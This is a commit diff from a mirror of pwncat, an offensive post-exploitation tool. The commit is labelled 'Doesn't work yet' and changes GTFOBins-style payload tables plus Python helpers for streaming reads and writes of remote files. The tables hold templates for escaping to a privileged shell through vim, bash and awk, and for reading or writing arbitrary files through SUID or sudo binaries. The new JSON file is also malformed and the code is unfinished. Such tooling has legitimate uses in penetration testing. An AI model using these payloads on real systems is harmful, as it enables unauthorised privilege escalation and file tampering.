1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Doesn't work yet

This commit is contained in:
Caleb Stewart 2020-05-11 15:27:49 -04:00
parent 983f37e6d6
commit 425a3c99cd
5 changed files with 222 additions and 35 deletions

View File

@ -1,14 +1,7 @@
[
{
"name": "cat",
"read_file": "{path} {lfile}"
},
{
"name": "cp",
"write_file": {
"type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
}
"read_file": "{command} {lfile}"
},
{
"name": "bash",
@ -67,7 +60,7 @@
"read_file": "{path} '//' {lfile}",
"write_file": {
"type": "base64",
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
}
},
{
@ -139,30 +132,5 @@
"payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\""
},
"command": "{path} -p -c {command}"
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
}
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
}
},
{
"name": "vim.basic",
"shell": {
"need" : ["-e", "+:!{shell}", "+q!"]
},
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
"write_file": {
"type": "base64",
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
},
"command": "{path} -c ':!{command}'"
}
]

81
data/gtfobins2.json Normal file
View File

@ -0,0 +1,81 @@
{
// Each item is a list of capabilities for this binary
"dd": [
{
// This is a read capability
"type": "read",
// No other commands need to be executed besides the command
// "command" exands to the binary path and any arguments provided
// If the data needs to be dealt with earlier, you can use "{data}"
// here.
"payload": "{command}",
// This is used to pass arguments to the application (auto-merged
// into "{command}".
"args": ["if={lfile}"],
// Prepends arguments, if any to the "args" for setuid context.
"suid": [],
// Input which needs to be passed to the application. All insertions
// work here (such as {lfile}, {command}), but also {data} if you are
// streaming the data to the remote application.
"input": "",
// If needed, specify some data that must be sent to exit the remote
// application after the read is finished.
"exit": "{ctrl_c}",
// This specifies how to handle the data. There can be a few
// different values here:
// - raw -> the data is unchanged and the controlling terminal
// is set to raw mode for effective reading. This mode
// requires a known data length and the command will fail
// without it.
// - print -> the data is unchanged, but the controlling
// terminal is not changed to raw mode. Only printable
// data is safe from TTY translation.
// - base64 -> all data is converted from base64. Data sent
// to the remote process should be in base64 form, and the
// tty is not set to raw mode.
// - hex -> same as base64, but base16 instead.
"stream": "raw"
},
{
"type": "write",
"stream": "raw",
"payload": "{command} of={lfile} oflag=count_bytes count={length}"
"input": "{data}",
}
],
// Another example
"bash": [
{
"type": "shell",
"stream": "print",
"suid": ["-p"],
"exit": "exit"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} -c '{cat} {lfile}'",
"suid": ["-p"],
}
],
"cat": [
{
"type": "read",
"stream": "raw",
"payload": "{command} {lfile}",
},
{
"type": "write",
"stream": "base64",
"payload": "{base64} -d | {command} > {lfile}"
"args": [],
},
{
"type": "write",
"stream": "print",
"payload": "{command} > {lfile}",
"args": [],
"exit": "{ctrl_c}"
}
]
}

View File

@ -8,6 +8,7 @@ import json
import os
from pwncat.privesc import Capability
from pwncat import util
class MissingBinary(Exception):
@ -44,6 +45,8 @@ class Binary:
self.capabilities |= Capability.SHELL
if self.has_write_file:
self.capabilities |= Capability.WRITE
if self.has_write_stream:
self.capabilities |= Capability.WRITE_STREAM
# We need to fix this later...?
if self.has_shell:
@ -74,6 +77,43 @@ class Binary:
return target
def parse_entry(self, entry, sudo_prefix: str = None, suid=False, **args):
""" Parse an entry for read_file, write_file, or shell """
if isinstance(entry, str):
entry = shlex.split(entry)
payload = entry[0]
args = entry[1:]
input_data = ""
stream_type = "print"
exit_command = ""
suid_args = []
else:
payload = entry.get("payload", "{command}")
args = entry.get("args", [])
input_data = entry.get("input", "")
stream_type = entry.get("type", "print")
exit_command = entry.get("exit", "")
suid_args = entry.get("suid", [])
command = self.path
if sudo_prefix:
command = sudo_prefix + " " + command
args = [self.resolve_binaries(a, **args) for a in args]
input_data = self.resolve_binaries(input_data, ctrl_c=util.CTRL_C, **args)
exit_command = self.resolve_binaries(exit_command, ctrl_c=util.CTRL_C, **args)
suid_args = self.resolve_binaries(suid_args, **args)
if len(suid_args):
command = command + " " + shlex.join(suid_args)
if len(args):
command = command + " " + shlex.join(args)
payload = self.resolve_binaries(payload, command=command, **args)
return payload, input_data, exit_command, stream_type
def shell(
self,
shell_path: str,
@ -277,6 +317,37 @@ class Binary:
return False
return result is not None
@property
def has_write_stream(self):
try:
result = self.write_stream("test")
except MissingBinary:
return False
return result is not None
def write_stream(self, file_path, sudo_prefix: str = None) -> str:
""" Build a payload which will write stdin to a file. """
if "write_stream" not in self.data:
return None
path = self.path
if sudo_prefix:
path = sudo_prefix + " " + path
if isinstance(self.data["write_stream"], str):
command = self.data["write_stream"]
input = None
else:
command = self.data["write_stream"].get("command", "{path}")
input = self.data["write_stream"].get("input", None)
command = self.resolve_binaries(command, path=path)
if input is not None:
input = self.resolve_binaries(input, path=path)
return (command, input)
def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str:
""" Build a payload to write the specified data into the file """

View File

@ -17,7 +17,8 @@ class Capability:
WRITE = 2
SHELL = 4
SUDO = SHELL
last = 8
WRITE_STREAM = 8
last = 16
ALL = READ | WRITE | SHELL | SUDO

View File

@ -35,6 +35,8 @@ from pwncat import util
from pwncat import downloader, uploader, privesc
from pwncat.file import RemoteBinaryPipe
from pwncat.lexer import LocalCommandLexer, PwncatStyle
from pwncat import gtfobins
from pwncat.privesc import Capability
from colorama import Fore
@ -1097,6 +1099,70 @@ class PtyHandler:
return pipe
def do_test(self, argv):
util.info("Attempting to stream data to a remote file...")
with self.open("/tmp/stream_test", "wb") as filp:
filp.write(b"It fucking worked!")
util.info("Attempting to stream the data back...")
with self.open("/tmp/stream_test", "rb") as filp:
print(filp.read())
def open(self, path: str, mode: str):
""" Generically open a remote file for reading or writing. Does not
support simultaneously read and write. TextIO is implemented with a
TextIOWrapper. No other remote interaction should occur until this
stream is closed. """
# We can't do simultaneous read and write
if "r" in mode and "w" in mode:
raise ValueError("only one of 'r' or 'w' may be specified")
# Allow the temp file wrapper to access the pty
pty = self
if "r" in mode:
# Simple case, we have a reader w/ GTFO bins
reader = gtfobins.Binary.find_capability(self.which, Capability.READ)
if reader is not None:
print(reader.read_file(path))
pipe = self.subprocess(reader.read_file(path), mode="rb")
else:
# We need to use the download functionality
pipe = tempfile.NamedTemporaryFile("rb")
self.do_download(["-o", pipe.name, path])
else:
# Writing is more complicated.
writer = gtfobins.Binary.find_capability(
self.which, Capability.WRITE_STREAM
)
if writer is not None:
print(writer.write_stream(path))
pipe = self.subprocess(writer.write_stream(path), mode="wb")
else:
# We need to use the upload functionality. We will create a
# named temporary file which upon closing will upload itself to
# the remote machine. This isn't perfect, but allows for
# seemless interaction.
pipe = tempfile.NamedTemporaryFile("wb", delete=False)
close_method = pipe.close
def close_wrapper(pipe_self):
""" This wraps the close method of the returned file object
to ensure that we upload the file after it is closed. """
close_method(pipe_self)
self.do_upload(["-o", path, pipe_self.name])
pipe.close = close_wrapper
if "b" in mode:
return pipe
elif "r" in mode:
return io.TextIOWrapper(io.BufferedReader(pipe))
elif "w" in mode:
return io.TextIOWrapper(io.BufferedWriter(pipe))
def raw(self, echo: bool = False):
self.stty_saved = self.run("stty -g").decode("utf-8").strip()
self.run("stty raw -echo", wait=False)